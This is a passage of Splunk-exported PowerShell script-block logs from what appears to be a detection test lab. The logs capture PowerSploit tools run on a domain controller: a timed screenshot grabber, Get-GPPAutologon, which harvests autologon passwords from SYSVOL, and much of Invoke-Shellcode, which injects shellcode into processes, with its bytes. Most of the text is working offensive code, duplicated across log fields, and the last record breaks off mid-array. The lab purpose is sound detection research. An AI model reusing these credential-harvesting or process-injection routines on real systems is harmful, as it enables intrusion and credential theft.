$Height = $ScreenBounds.Height
}
$Size = New-Object System.Drawing.Size($Width, $Height)
$Point = New-Object System.Drawing.Point(0, 0)
$ScreenshotObject = New-Object Drawing.Bitmap $Width, $Height
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
$DrawingGraphics.CopyFromScreen($Point, [Drawing.Point]::Empty, $Size)
$DrawingGraphics.Dispose()
$ScreenshotObject.Save($FilePath)
$ScreenshotObject.Dispose()
}
Try {
#load required assembly
Add-Type -Assembly System.Windows.Forms
Do {
#get the current time and build the filename from it
$Time = (Get-Date)
[String] $FileName = ""$($Time.Month)""
$FileName += '-'
$FileName += ""$($Time.Day)""
$FileName += '-'
$FileName += ""$($Time.Year)""
$FileName += '-'
$FileName += ""$($Time.Hour)""
$FileName += '-'
$FileName += ""$($Time.Minute)""
$FileName += '-'
$FileName += ""$($Time.Second)""
$FileName += '.png'
#use join-path to add path to filename
[String] $FilePath = (Join-Path $Path $FileName)
#run screenshot function
Get-Screenshot
Write-Verbose ""Saved screenshot to $FilePath. Sleeping for $Interval seconds""
Start-Sleep -Seconds $Interval
}
#note that this will run once regardless if the specified time as passed
While ((Get-Date -Format HH:mm) -lt $EndTime)
}
Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
}
b62d31d1-ac0b-4fb0-b9ed-3d06bfd24355C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Get-TimedScreenshot.ps1","2022-05-02T18:24:33.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122210,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122210,win,118,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><>><>><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error
track_event_signatures",,,"error
track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows"
"'{7B7F4240-5E23-0002-7053-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"11function Get-GPPAutologon
{
<#
.SYNOPSIS
Retrieves password from Autologon entries that are pushed through Group Policy Registry Preferences.
PowerSploit Function: Get-GPPAutologon
Author: Oddvar Moe (@oddvarmoe)
Based on Get-GPPPassword by Chris Campbell (@obscuresec) - Thanks for your awesome work!
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password.
.EXAMPLE
PS C:\> Get-GPPAutolgon
UserNames File Passwords
--------- ---- ---------
{administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3}
{NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword}
.EXAMPLE
PS C:\> Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq
password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!
.LINK
https://support.microsoft.com/nb-no/kb/324737
#>
[CmdletBinding()]
Param ()
#Some XML issues between versions
Set-StrictMode -Version 2
#define helper function to parse fields from xml files
function Get-GPPInnerFields
{
[CmdletBinding()]
Param (
$File
)
try
{
$Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)
#declare empty arrays
$Password = @()
$UserName = @()
#check for password and username field
if (($Xml.innerxml -like ""*DefaultPassword*"") -and ($Xml.innerxml -like ""*DefaultUserName*""))
{
$props = $xml.GetElementsByTagName(""Properties"")
foreach($prop in $props)
{
switch ($prop.name)
{
'DefaultPassword'
{
$Password += , $prop | Select-Object -ExpandProperty Value
}
'DefaultUsername'
{
$Username += , $prop | Select-Object -ExpandProperty Value
}
}
Write-Verbose ""Potential password in $File""
}
#put [BLANK] in variables
if (!($Password))
{
$Password = '[BLANK]'
}
if (!($UserName))
{
$UserName = '[BLANK]'
}
#Create custom object to output results
$ObjectProperties = @{'Passwords' = $Password;
'UserNames' = $UserName;
'File' = $File}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
Write-Verbose ""The password is between {} and may be more than one value.""
if ($ResultsObject)
{
Return $ResultsObject
}
}
}
catch {Write-Error $Error[0]}
}
try {
#ensure that machine is domain joined and script is running as a domain account
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
throw 'Machine is not a domain member or User is not a member of the domain.'
}
#discover potential registry.xml containing autologon passwords
Write-Verbose 'Searching the DC. This could take a while.'
$XMlFiles = Get-ChildItem -Path ""\\$Env:USERDNSDOMAIN\SYSVOL"" -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml'
if ( -not $XMlFiles ) {throw 'No preference files found.'}
Write-Verbose ""Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords.""
foreach ($File in $XMLFiles) {
$Result = (Get-GppInnerFields $File.Fullname)
Write-Output $Result
}
}
catch {Write-Error $Error[0]}
}e4192fbb-52d1-44b1-9274-575de1852434C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Get-GPPAutologon.ps1",,4104,122190,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,1,1,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Get-GPPAutologon.ps1",,,"'5388'",,,,,,122190,,,,"e4192fbb-52d1-44b1-9274-575de1852434","function Get-GPPAutologon
{
<#
.SYNOPSIS
Retrieves password from Autologon entries that are pushed through Group Policy Registry Preferences.
PowerSploit Function: Get-GPPAutologon
Author: Oddvar Moe (@oddvarmoe)
Based on Get-GPPPassword by Chris Campbell (@obscuresec) - Thanks for your awesome work!
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password.
.EXAMPLE
PS C:\> Get-GPPAutolgon
UserNames File Passwords
--------- ---- ---------
{administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3}
{NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword}
.EXAMPLE
PS C:\> Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq
password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!
.LINK
https://support.microsoft.com/nb-no/kb/324737
#>
[CmdletBinding()]
Param ()
#Some XML issues between versions
Set-StrictMode -Version 2
#define helper function to parse fields from xml files
function Get-GPPInnerFields
{
[CmdletBinding()]
Param (
$File
)
try
{
$Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)
#declare empty arrays
$Password = @()
$UserName = @()
#check for password and username field
if (($Xml.innerxml -like ""*DefaultPassword*"") -and ($Xml.innerxml -like ""*DefaultUserName*""))
{
$props = $xml.GetElementsByTagName(""Properties"")
foreach($prop in $props)
{
switch ($prop.name)
{
'DefaultPassword'
{
$Password += , $prop | Select-Object -ExpandProperty Value
}
'DefaultUsername'
{
$Username += , $prop | Select-Object -ExpandProperty Value
}
}
Write-Verbose ""Potential password in $File""
}
#put [BLANK] in variables
if (!($Password))
{
$Password = '[BLANK]'
}
if (!($UserName))
{
$UserName = '[BLANK]'
}
#Create custom object to output results
$ObjectProperties = @{'Passwords' = $Password;
'UserNames' = $UserName;
'File' = $File}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
Write-Verbose ""The password is between {} and may be more than one value.""
if ($ResultsObject)
{
Return $ResultsObject
}
}
}
catch {Write-Error $Error[0]}
}
try {
#ensure that machine is domain joined and script is running as a domain account
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
throw 'Machine is not a domain member or User is not a member of the domain.'
}
#discover potential registry.xml containing autologon passwords
Write-Verbose 'Searching the DC. This could take a while.'
$XMlFiles = Get-ChildItem -Path ""\\$Env:USERDNSDOMAIN\SYSVOL"" -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml'
if ( -not $XMlFiles ) {throw 'No preference files found.'}
Write-Verbose ""Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords.""
foreach ($File in $XMLFiles) {
$Result = (Get-GppInnerFields $File.Fullname)
Write-Output $Result
}
}
catch {Write-Error $Error[0]}
}",,,,,,,,,,,"'2022-05-02T18:24:31.024366500Z'","4104132150x0122190Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122190Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function Get-GPPAutologon
{
<#
.SYNOPSIS
Retrieves password from Autologon entries that are pushed through Group Policy Registry Preferences.
PowerSploit Function: Get-GPPAutologon
Author: Oddvar Moe (@oddvarmoe)
Based on Get-GPPPassword by Chris Campbell (@obscuresec) - Thanks for your awesome work!
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password.
.EXAMPLE
PS C:\> Get-GPPAutolgon
UserNames File Passwords
--------- ---- ---------
{administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3}
{NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword}
.EXAMPLE
PS C:\> Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq
password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!
.LINK
https://support.microsoft.com/nb-no/kb/324737
#>
[CmdletBinding()]
Param ()
#Some XML issues between versions
Set-StrictMode -Version 2
#define helper function to parse fields from xml files
function Get-GPPInnerFields
{
[CmdletBinding()]
Param (
$File
)
try
{
$Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)
#declare empty arrays
$Password = @()
$UserName = @()
#check for password and username field
if (($Xml.innerxml -like ""*DefaultPassword*"") -and ($Xml.innerxml -like ""*DefaultUserName*""))
{
$props = $xml.GetElementsByTagName(""Properties"")
foreach($prop in $props)
{
switch ($prop.name)
{
'DefaultPassword'
{
$Password += , $prop | Select-Object -ExpandProperty Value
}
'DefaultUsername'
{
$Username += , $prop | Select-Object -ExpandProperty Value
}
}
Write-Verbose ""Potential password in $File""
}
#put [BLANK] in variables
if (!($Password))
{
$Password = '[BLANK]'
}
if (!($UserName))
{
$UserName = '[BLANK]'
}
#Create custom object to output results
$ObjectProperties = @{'Passwords' = $Password;
'UserNames' = $UserName;
'File' = $File}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
Write-Verbose ""The password is between {} and may be more than one value.""
if ($ResultsObject)
{
Return $ResultsObject
}
}
}
catch {Write-Error $Error[0]}
}
try {
#ensure that machine is domain joined and script is running as a domain account
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
throw 'Machine is not a domain member or User is not a member of the domain.'
}
#discover potential registry.xml containing autologon passwords
Write-Verbose 'Searching the DC. This could take a while.'
$XMlFiles = Get-ChildItem -Path ""\\$Env:USERDNSDOMAIN\SYSVOL"" -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml'
if ( -not $XMlFiles ) {throw 'No preference files found.'}
Write-Verbose ""Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords.""
foreach ($File in $XMLFiles) {
$Result = (Get-GppInnerFields $File.Fullname)
Write-Output $Result
}
}
catch {Write-Error $Error[0]}
}e4192fbb-52d1-44b1-9274-575de1852434C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Get-GPPAutologon.ps1","2022-05-02T18:24:31.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122190,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122190,win,139,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><>><>><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error
track_event_signatures",,,"error
track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows"
"'{7B7F4240-5E23-0002-6F53-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"22 $Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
# Allocate RWX memory for the shellcode
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw ""Unable to allocate shellcode memory in PID: $ProcessID""
}
Write-Verbose ""Shellcode memory reserved at 0x$($BaseAddress.ToString(""X$([IntPtr]::Size*2)""))""
# Copy shellcode to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate RWX memory for the thread call stub
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$CallStubAddress)
{
Throw ""Unable to allocate thread call stub.""
}
Write-Verbose ""Thread call stub memory reserved at 0x$($CallStubAddress.ToString(""X$([IntPtr]::Size*2)""))""
# Copy call stub to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
# Launch shellcode in it's own thread
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw ""Unable to launch thread.""
}
# Wait for shellcode thread to terminate
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
Write-Verbose 'Shellcode injection complete!'
}
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
$AddressWidth = $null
try {
$AddressWidth = @(Get-WmiObject -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth
} catch {
throw 'Unable to determine OS processor address width.'
}
switch ($AddressWidth) {
'32' {
$64bitOS = $False
}
'64' {
$64bitOS = $True
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
}
default {
throw 'Invalid OS address width detected.'
}
}
if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $true
}
else
{
$PowerShell32bit = $false
}
if ($PSBoundParameters['Shellcode'])
{
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
[Byte[]] $Shellcode32 = $Shellcode
[Byte[]] $Shellcode64 = $Shellcode32
}
else
{
# Pop a calc... or whatever shellcode you decide to place in here
# I sincerely hope you trust that this shellcode actually pops a calc...
# Insert your shellcode here in the for 0xXX,0xXX,...
# 32-bit payload
# msfpayload windows/exec CMD=""cmd /k calc"" EXITFUNC=thread
[Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
0x61,0x6c,0x63,0x00)
# 64-bit payload
# msfpayload windows/x64/exec CMD=""calc"" EXITFUNC=thread
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
}
if ( $PSBoundParameters['ProcessID'] )
{
# Inject shellcode into the specified process ID
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
Write-Verbose ""Injecting shellcode into PID: $ProcessId""
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
""Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!"" ) )
{
Inject-RemoteShellcode $ProcessId
}
}
else
{
# Inject shellcode into the currently running PowerShell process
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
Write-Verbose ""Injecting shellcode into PowerShell""
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
""Injecting shellcode into the running PowerShell process!"" ) )
{
Inject-LocalShellcode
}
}
}
3930c537-c80a-4cc2-90ba-23b4d038b938C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\CodeExecution\Invoke-Shellcode.ps1",,4104,122167,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,2,2,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\CodeExecution\Invoke-Shellcode.ps1",,,"'5388'",,,,,,122167,,,,"3930c537-c80a-4cc2-90ba-23b4d038b938","$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
# Allocate RWX memory for the shellcode
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw ""Unable to allocate shellcode memory in PID: $ProcessID""
}
Write-Verbose ""Shellcode memory reserved at 0x$($BaseAddress.ToString(""X$([IntPtr]::Size*2)""))""
# Copy shellcode to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate RWX memory for the thread call stub
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$CallStubAddress)
{
Throw ""Unable to allocate thread call stub.""
}
Write-Verbose ""Thread call stub memory reserved at 0x$($CallStubAddress.ToString(""X$([IntPtr]::Size*2)""))""
# Copy call stub to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
# Launch shellcode in it's own thread
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw ""Unable to launch thread.""
}
# Wait for shellcode thread to terminate
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
Write-Verbose 'Shellcode injection complete!'
}
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
$AddressWidth = $null
try {
$AddressWidth = @(Get-WmiObject -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth
} catch {
throw 'Unable to determine OS processor address width.'
}
switch ($AddressWidth) {
'32' {
$64bitOS = $False
}
'64' {
$64bitOS = $True
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
}
default {
throw 'Invalid OS address width detected.'
}
}
if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $true
}
else
{
$PowerShell32bit = $false
}
if ($PSBoundParameters['Shellcode'])
{
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
[Byte[]] $Shellcode32 = $Shellcode
[Byte[]] $Shellcode64 = $Shellcode32
}
else
{
# Pop a calc... or whatever shellcode you decide to place in here
# I sincerely hope you trust that this shellcode actually pops a calc...
# Insert your shellcode here in the for 0xXX,0xXX,...
# 32-bit payload
# msfpayload windows/exec CMD=""cmd /k calc"" EXITFUNC=thread
[Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
